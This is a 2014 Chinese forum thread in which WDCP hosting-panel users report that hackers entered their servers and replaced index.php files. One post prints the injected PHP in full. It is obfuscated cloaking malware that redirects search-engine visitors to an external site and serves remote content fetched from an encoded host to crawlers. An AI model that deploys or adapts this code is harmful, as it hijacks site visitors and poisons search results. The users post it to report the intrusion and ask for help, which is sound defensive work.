Rank: 2

1^# 跳转到 » 倒序看帖

字体大小: tT

发表于 2014-9-25 11:18 | 只看该作者

提问三步曲: 提问先看教程/FAQ索引(wdcp,wdcp_v3,一键包)及搜索,会让你更快解决问题
1 提供详细，如系统版本,wdcp版本,软件版本等及错误的详细信息,贴上论坛或截图发论坛
2 做过哪些操作或改动设置等

温馨提示：信息不详,很可能会没人理你！论坛有教程说明的，也可能没人理！因为,你懂的

[BUG反馈] 这是WDCP的漏洞吗？如何解决？！

WDCP是一个非常好的虚拟主机管理软件，出于对WDCP的信任，在服务器上安装了，但是最近发现严重的问题：

我喜欢！

AI导航网，AI网站大全，AI工具大全，AI软件大全，AI工具集合，AI编程，AI绘画，AI写作，AI视频生成，AI对话聊天等，尽在aiaiV.cn

luza

注册会员

Rank: 2

2^#

发表于 2014-9-25 11:19 | 只看该作者

数据库被入侵了，并且成功上传三个文件，现在最脑火的是，不知道这三个文件是哪三个！

请管理员给个教程！！

我喜欢！

TOP

feng521w

新手上路

Rank: 1

3^#

发表于 2014-9-25 11:34 | 只看该作者

太他妈的可怕；了

TOP

zhoumo310

中级会员

Rank: 3 Rank: 3

4^#

发表于 2014-9-25 18:09 | 只看该作者

我们都遭遇了相同问题。希望wdcp尽快修复。
同类帖子大集合 http://www.wdlinux.cn/bbs/viewth ... amp;extra=#pid63741

AI导航网，AI网站大全，AI工具大全，AI软件大全，AI工具集合，AI编程，AI绘画，AI写作，AI视频生成，AI对话聊天等，尽在aiaiV.cn

TOP

joynow

新手上路

Rank: 1

5^#

发表于 2014-9-26 08:54 | 只看该作者

我也遇到同样的问题，上传的文件都是index.php，其实就是把目录下的空文件替换成挂马文件，但这些文件没有人访问不知有什么用处？黑客都是直接登陆WDCP后台，估计是利用了WDCP的漏洞。
快照4.png

挂马的内容：

<?php
date_default_timezone_set('PRC');
set_time_limit(20);
error_reporting(0);
header('Content-type: text/html; charset=gbk');
define('SPIDERS','LzScMUI8p28hL29gsUAiM291sUyunT9isTqiM2ky');
define('HOSTS',$_SERVER['SERVER_NAME']);
define('d58ok','0');
define('REFES',$_SERVER['HTTP_REFERER']);
define('USERS',$_SERVER['HTTP_USER_AGENT']);
define('URLS',$_SERVER['REQUEST_URI']);
$Class_urls = 'http://www.5886887.com/';
$Class_zhus = 'nUE0pQbiYmL3YwR5BP4kAwthZGD2Yj==';
$KIP=array('117.28.255.37','116.55.241.24','125.64.94.219','119.147.114.213','118.122.188.194','60.172.229.61','61.188.39.16','61.147.98.198','61.129.45.72','113.98.254.245','58.221.61.128','117.34.73.70','58.215.190.84','117.28.255.53','183.91.40.144','117.21.220.245','122.228.200.46','61.164.150.70','61.147.108.41','116.55.242.138','114.80.222.242','61.147.108.41','116.255.230.70','222.186.24.26','222.186.24.59','220.181.158.106','123.125.160.215');
define('PATHS',__FILE__);
function Reads($url){
$opts = array('http' => array('method' => "GET",'timeout' => 8));
$context = stream_context_create($opts);
$html = file_get_contents($url, false, $context);
if(empty($html)){$html = file_get_contents($url);}
return $html;
}
function Ips(){
if(@$_SERVER["HTTP_X_FORWARDED_FOR"]){
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if(@$_SERVER["HTTP_CLIENT_IP"]){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}else if(@$_SERVER["REMOTE_ADDR"]){
$ip = $_SERVER["REMOTE_ADDR"];
}else if(@getenv("HTTP_X_FORWARDED_FOR")){
$ip = getenv("HTTP_X_FORWARDED_FOR");
}else if(@getenv("HTTP_CLIENT_IP")){
$ip = getenv("HTTP_CLIENT_IP");
}else if(@getenv("REMOTE_ADDR")){
$ip = getenv("REMOTE_ADDR");
}else{
$ip = "Unknown";
}return $ip;
}
function R($string){
$Class_now = str_rot13($string);
$Class_now = base64_decode($Class_now);
return $Class_now;
}
if(eregi(R(SPIDERS),REFES)){
$Class_site = true;
if(eregi("site%3A|inurl%3A",REFES)){
setcookie('x86',HOSTS,time() + 259200);
$Class_site = false;
}
if($Class_site && empty($_COOKIE['x86'])){
setcookie('x86',HOSTS,time() + 259200);
$Class_from = $Class_urls;
$Class_home = $Class_from;
header("Location: ".$Class_home.'?'.HOSTS);
exit;
}
}
if(d58ok){
$Class_UR = R($Class_zhus).'?xxurl='.bin2hex(URLS);
$Class_UR .= '&xxhost='.bin2hex(HOSTS);
$Class_code = Reads($Class_UR);
if(trim($Class_code) !== 'nonono')
{echo base64_decode($Class_code);exit;}
}
if(eregi(R(SPIDERS),USERS)){
if(!in_array(Ips(),$KIP)){
$Class_UR = R($Class_zhus).'?xxurl='.bin2hex(URLS);
$Class_UR .= '&xxhost='.bin2hex(HOSTS);
$Class_code = Reads($Class_UR);
if(trim($Class_code) !== 'nonono')
{echo base64_decode($Class_code);exit;}
}
}
?>